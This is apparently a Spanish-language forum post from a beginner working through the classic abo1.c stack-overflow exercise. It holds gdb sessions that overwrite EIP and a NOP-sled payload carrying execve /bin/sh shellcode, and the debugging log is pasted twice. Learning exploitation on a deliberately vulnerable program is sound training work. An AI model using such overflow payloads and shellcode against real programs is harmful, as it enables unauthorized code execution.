Compile y deshabilite las protecciones al GCC y al kernel de linux. Utilizo Kubuntu 8.10 x86..
Inicio con el siguiente code
Código:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* abo1.c *
* specially crafted to feed your brain by gera */
/* Dumb example to let you get introduced... */
int main(int argv,char **argc) {
char buf[256];
strcpy(buf,argc[1]);
}
Bien trato de descubrir en donde esta localizado el EIP con una tecnica que pense..luego veo los ultimos 300 registros de esp para escribir en el EIP y que me ejecute la shellcode.#include <stdlib.h>
#include <string.h>
/* abo1.c *
* specially crafted to feed your brain by gera */
/* Dumb example to let you get introduced... */
int main(int argv,char **argc) {
char buf[256];
strcpy(buf,argc[1]);
}
La shellcode que utilizo es una que viene en el programa RASC la de 24 bytes

Código:
root@AlertCon-01:/home/biohex# gdb abo1
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) r $(perl -e 'print "A"x256')
Starting program: /home/biohex/abo1 $(perl -e 'print "A"x256')
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r $eip
eip 0x41414141 0x41414141
(gdb) i r
eax 0xbffff234 -1073745356
ecx 0xbffff300 -1073745152
edx 0x101 257
ebx 0xb7fc4ff4 -1208201228
esp 0xbffff300 0xbffff300
ebp 0xbffff3a8 0xbffff3a8
esi 0x8048410 134513680
edi 0x8048310 134513424
eip 0x41414141 0x41414141
eflags 0x10282 [ SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) r `python -c 'print "\x41"*10+"\x42"*10+"\x43"*10+"\x44"*10+"\x45"*10+"\x46"*10+"\x47"*10+"\x48"*10+"\x49"*10+"\x50"*10+"\x51"*10+"\x52"*10+"\x53"*10+"\x54"*10+"\x55"*10+"\x55"*10+"\x56"*10+"\x57"*10+"\x58"*10+"\x59"*10+"\x61"*10+"\x62"*10+"\x63"*10+"\x64"*10+"\x65"*10+"\x55"*6'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/biohex/abo1 `python -c 'print "\x41"*10+"\x42"*10+"\x43"*10+"\x44"*10+"\x45"*10+"\x46"*10+"\x47"*10+"\x48"*10+"\x49"*10+"\x50"*10+"\x51"*10+"\x52"*10+"\x53"*10+"\x54"*10+"\x55"*10+"\x55"*10+"\x56"*10+"\x57"*10+"\x58"*10+"\x59"*10+"\x61"*10+"\x62"*10+"\x63"*10+"\x64"*10+"\x65"*10+"\x55"*6'`
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) r `python -c 'print "\x90"*200+"\x41"*4+"\x90"*52'`
Starting program: /home/biohex/abo1 `python -c 'print "\x90"*200+"\x41"*4+"\x90"*52'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r `python -c 'print "\x90"*200+"\x41"*4+"\x90"*52'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/biohex/abo1 `python -c 'print "\x90"*200+"\x41"*4+"\x90"*52'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/300h $esp
0xbffff300: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff310: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff320: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff330: 0x9090 0x9090 0xf300 0xbfff 0xf3a8 0xbfff 0x1685 0xb7e8
0xbffff340: 0x8410 0x0804 0x8310 0x0804 0xf3a8 0xbfff 0x1685 0xb7e8
0xbffff350: 0x0002 0x0000 0xf3d4 0xbfff 0xf3e0 0xbfff 0x2b38 0xb7fe
0xbffff360: 0x0001 0x0000 0x0001 0x0000 0x0000 0x0000 0x8230 0x0804
0xbffff370: 0x4ff4 0xb7fc 0x8410 0x0804 0x8310 0x0804 0xf3a8 0xbfff
0xbffff380: 0xa179 0xd286 0x9569 0xfd4c 0x0000 0x0000 0x0000 0x0000
0xbffff390: 0x0000 0x0000 0x6090 0xb7ff 0x15ad 0xb7e8 0xeff4 0xb7ff
0xbffff3a0: 0x0002 0x0000 0x8310 0x0804 0x0000 0x0000 0x8331 0x0804
0xbffff3b0: 0x83c4 0x0804 0x0002 0x0000 0xf3d4 0xbfff 0x8410 0x0804
0xbffff3c0: 0x8400 0x0804 0x0f50 0xb7ff 0xf3cc 0xbfff 0xbaaa 0xb7ff
0xbffff3d0: 0x0002 0x0000 0xf547 0xbfff 0xf559 0xbfff 0x0000 0x0000
0xbffff3e0: 0xf65a 0xbfff 0xf66e 0xbfff 0xf681 0xbfff 0xf69c 0xbfff
0xbffff3f0: 0xf6ce 0xbfff 0xf6d9 0xbfff 0xf6ed 0xbfff 0xf6fd 0xbfff
0xbffff400: 0xf74e 0xbfff 0xf769 0xbfff 0xf784 0xbfff 0xf803 0xbfff
0xbffff410: 0xf859 0xbfff 0xf874 0xbfff 0xf886 0xbfff 0xf89c 0xbfff
0xbffff420: 0xf8a6 0xbfff 0xfccf 0xbfff 0xfcfc 0xbfff 0xfd32 0xbfff
0xbffff430: 0xfd3d 0xbfff 0xfd8a 0xbfff 0xfda2 0xbfff 0xfdb6 0xbfff
0xbffff440: 0xfdc5 0xbfff 0xfdd6 0xbfff 0xfde7 0xbfff 0xfdf8 0xbfff
0xbffff450: 0xfe01 0xbfff 0xfe22 0xbfff 0xfe39 0xbfff 0xfe48 0xbfff
0xbffff460: 0xfe53 0xbfff 0xfe5b 0xbfff 0xfe65 0xbfff 0xfe7b 0xbfff
0xbffff470: 0xfe93 0xbfff 0xfea0 0xbfff 0xfed5 0xbfff 0xff37 0xbfff
0xbffff480: 0xff57 0xbfff 0xff64 0xbfff 0xff71 0xbfff 0xff7e 0xbfff
0xbffff490: 0xffc8 0xbfff 0x0000 0x0000 0x0020 0x0000 0xd420 0xb7ff
0xbffff4a0: 0x0021 0x0000 0xd000 0xb7ff 0x0010 0x0000 0xfbff 0xbfeb
---Type <return> to continue, or q <return> to quit---
0xbffff4b0: 0x0006 0x0000 0x1000 0x0000 0x0011 0x0000 0x0064 0x0000
0xbffff4c0: 0x0003 0x0000 0x8034 0x0804 0x0004 0x0000 0x0020 0x0000
0xbffff4d0: 0x0005 0x0000 0x0008 0x0000 0x0007 0x0000 0x3000 0xb7fe
0xbffff4e0: 0x0008 0x0000 0x0000 0x0000 0x0009 0x0000 0x8310 0x0804
0xbffff4f0: 0x000b 0x0000 0x0000 0x0000 0x000c 0x0000 0x0000 0x0000
0xbffff500: 0x000d 0x0000 0x0000 0x0000 0x000e 0x0000 0x0000 0x0000
0xbffff510: 0x0017 0x0000 0x0000 0x0000 0x001f 0x0000 0xffea 0xbfff
0xbffff520: 0x000f 0x0000 0xf53b 0xbfff 0x0000 0x0000 0x0000 0x0000
0xbffff530: 0x0000 0x0000 0x0000 0x0000 0x0000 0x6900 0x3836 0x0036
0xbffff540: 0x0000 0x0000 0x0000 0x2f00 0x6f68 0x656d 0x622f 0x6f69
0xbffff550: 0x6568 0x2f78 0x6261 0x316f
(gdb) r `python -c 'print "\x90"*200+"\x10\xf3\xff\xbf"+"\x90"*28+"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/biohex/abo1 `python -c 'print "\x90"*200+"\x10\xf3\xff\xbf"+"\x90"*28+"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
(gdb) r `python -c 'print "\x90"*200+"\x00\xf3\xff\xbf"+"\x90"*28+"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/biohex/abo1 `python -c 'print "\x90"*200+"\x00\xf3\xff\xbf"+"\x90"*28+"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Program received signal SIGSEGV, Segmentation fault.
0x90bffff3 in ?? ()
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) r $(perl -e 'print "A"x256')
Starting program: /home/biohex/abo1 $(perl -e 'print "A"x256')
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r $eip
eip 0x41414141 0x41414141
(gdb) i r
eax 0xbffff234 -1073745356
ecx 0xbffff300 -1073745152
edx 0x101 257
ebx 0xb7fc4ff4 -1208201228
esp 0xbffff300 0xbffff300
ebp 0xbffff3a8 0xbffff3a8
esi 0x8048410 134513680
edi 0x8048310 134513424
eip 0x41414141 0x41414141
eflags 0x10282 [ SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) r `python -c 'print "\x41"*10+"\x42"*10+"\x43"*10+"\x44"*10+"\x45"*10+"\x46"*10+"\x47"*10+"\x48"*10+"\x49"*10+"\x50"*10+"\x51"*10+"\x52"*10+"\x53"*10+"\x54"*10+"\x55"*10+"\x55"*10+"\x56"*10+"\x57"*10+"\x58"*10+"\x59"*10+"\x61"*10+"\x62"*10+"\x63"*10+"\x64"*10+"\x65"*10+"\x55"*6'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/biohex/abo1 `python -c 'print "\x41"*10+"\x42"*10+"\x43"*10+"\x44"*10+"\x45"*10+"\x46"*10+"\x47"*10+"\x48"*10+"\x49"*10+"\x50"*10+"\x51"*10+"\x52"*10+"\x53"*10+"\x54"*10+"\x55"*10+"\x55"*10+"\x56"*10+"\x57"*10+"\x58"*10+"\x59"*10+"\x61"*10+"\x62"*10+"\x63"*10+"\x64"*10+"\x65"*10+"\x55"*6'`
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) r `python -c 'print "\x90"*200+"\x41"*4+"\x90"*52'`
Starting program: /home/biohex/abo1 `python -c 'print "\x90"*200+"\x41"*4+"\x90"*52'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r `python -c 'print "\x90"*200+"\x41"*4+"\x90"*52'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/biohex/abo1 `python -c 'print "\x90"*200+"\x41"*4+"\x90"*52'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/300h $esp
0xbffff300: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff310: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff320: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090
0xbffff330: 0x9090 0x9090 0xf300 0xbfff 0xf3a8 0xbfff 0x1685 0xb7e8
0xbffff340: 0x8410 0x0804 0x8310 0x0804 0xf3a8 0xbfff 0x1685 0xb7e8
0xbffff350: 0x0002 0x0000 0xf3d4 0xbfff 0xf3e0 0xbfff 0x2b38 0xb7fe
0xbffff360: 0x0001 0x0000 0x0001 0x0000 0x0000 0x0000 0x8230 0x0804
0xbffff370: 0x4ff4 0xb7fc 0x8410 0x0804 0x8310 0x0804 0xf3a8 0xbfff
0xbffff380: 0xa179 0xd286 0x9569 0xfd4c 0x0000 0x0000 0x0000 0x0000
0xbffff390: 0x0000 0x0000 0x6090 0xb7ff 0x15ad 0xb7e8 0xeff4 0xb7ff
0xbffff3a0: 0x0002 0x0000 0x8310 0x0804 0x0000 0x0000 0x8331 0x0804
0xbffff3b0: 0x83c4 0x0804 0x0002 0x0000 0xf3d4 0xbfff 0x8410 0x0804
0xbffff3c0: 0x8400 0x0804 0x0f50 0xb7ff 0xf3cc 0xbfff 0xbaaa 0xb7ff
0xbffff3d0: 0x0002 0x0000 0xf547 0xbfff 0xf559 0xbfff 0x0000 0x0000
0xbffff3e0: 0xf65a 0xbfff 0xf66e 0xbfff 0xf681 0xbfff 0xf69c 0xbfff
0xbffff3f0: 0xf6ce 0xbfff 0xf6d9 0xbfff 0xf6ed 0xbfff 0xf6fd 0xbfff
0xbffff400: 0xf74e 0xbfff 0xf769 0xbfff 0xf784 0xbfff 0xf803 0xbfff
0xbffff410: 0xf859 0xbfff 0xf874 0xbfff 0xf886 0xbfff 0xf89c 0xbfff
0xbffff420: 0xf8a6 0xbfff 0xfccf 0xbfff 0xfcfc 0xbfff 0xfd32 0xbfff
0xbffff430: 0xfd3d 0xbfff 0xfd8a 0xbfff 0xfda2 0xbfff 0xfdb6 0xbfff
0xbffff440: 0xfdc5 0xbfff 0xfdd6 0xbfff 0xfde7 0xbfff 0xfdf8 0xbfff
0xbffff450: 0xfe01 0xbfff 0xfe22 0xbfff 0xfe39 0xbfff 0xfe48 0xbfff
0xbffff460: 0xfe53 0xbfff 0xfe5b 0xbfff 0xfe65 0xbfff 0xfe7b 0xbfff
0xbffff470: 0xfe93 0xbfff 0xfea0 0xbfff 0xfed5 0xbfff 0xff37 0xbfff
0xbffff480: 0xff57 0xbfff 0xff64 0xbfff 0xff71 0xbfff 0xff7e 0xbfff
0xbffff490: 0xffc8 0xbfff 0x0000 0x0000 0x0020 0x0000 0xd420 0xb7ff
0xbffff4a0: 0x0021 0x0000 0xd000 0xb7ff 0x0010 0x0000 0xfbff 0xbfeb
---Type <return> to continue, or q <return> to quit---
0xbffff4b0: 0x0006 0x0000 0x1000 0x0000 0x0011 0x0000 0x0064 0x0000
0xbffff4c0: 0x0003 0x0000 0x8034 0x0804 0x0004 0x0000 0x0020 0x0000
0xbffff4d0: 0x0005 0x0000 0x0008 0x0000 0x0007 0x0000 0x3000 0xb7fe
0xbffff4e0: 0x0008 0x0000 0x0000 0x0000 0x0009 0x0000 0x8310 0x0804
0xbffff4f0: 0x000b 0x0000 0x0000 0x0000 0x000c 0x0000 0x0000 0x0000
0xbffff500: 0x000d 0x0000 0x0000 0x0000 0x000e 0x0000 0x0000 0x0000
0xbffff510: 0x0017 0x0000 0x0000 0x0000 0x001f 0x0000 0xffea 0xbfff
0xbffff520: 0x000f 0x0000 0xf53b 0xbfff 0x0000 0x0000 0x0000 0x0000
0xbffff530: 0x0000 0x0000 0x0000 0x0000 0x0000 0x6900 0x3836 0x0036
0xbffff540: 0x0000 0x0000 0x0000 0x2f00 0x6f68 0x656d 0x622f 0x6f69
0xbffff550: 0x6568 0x2f78 0x6261 0x316f
(gdb) r `python -c 'print "\x90"*200+"\x10\xf3\xff\xbf"+"\x90"*28+"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/biohex/abo1 `python -c 'print "\x90"*200+"\x10\xf3\xff\xbf"+"\x90"*28+"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
(gdb) r `python -c 'print "\x90"*200+"\x00\xf3\xff\xbf"+"\x90"*28+"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/biohex/abo1 `python -c 'print "\x90"*200+"\x00\xf3\xff\xbf"+"\x90"*28+"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Program received signal SIGSEGV, Segmentation fault.
0x90bffff3 in ?? ()
Alguna idea de que me esta saliendo mal??????????

He intentado de todo para que me ejecute la shell..Aun soy muy noob en esto
..Bueno gracias por su atencion
.









Autor


En línea






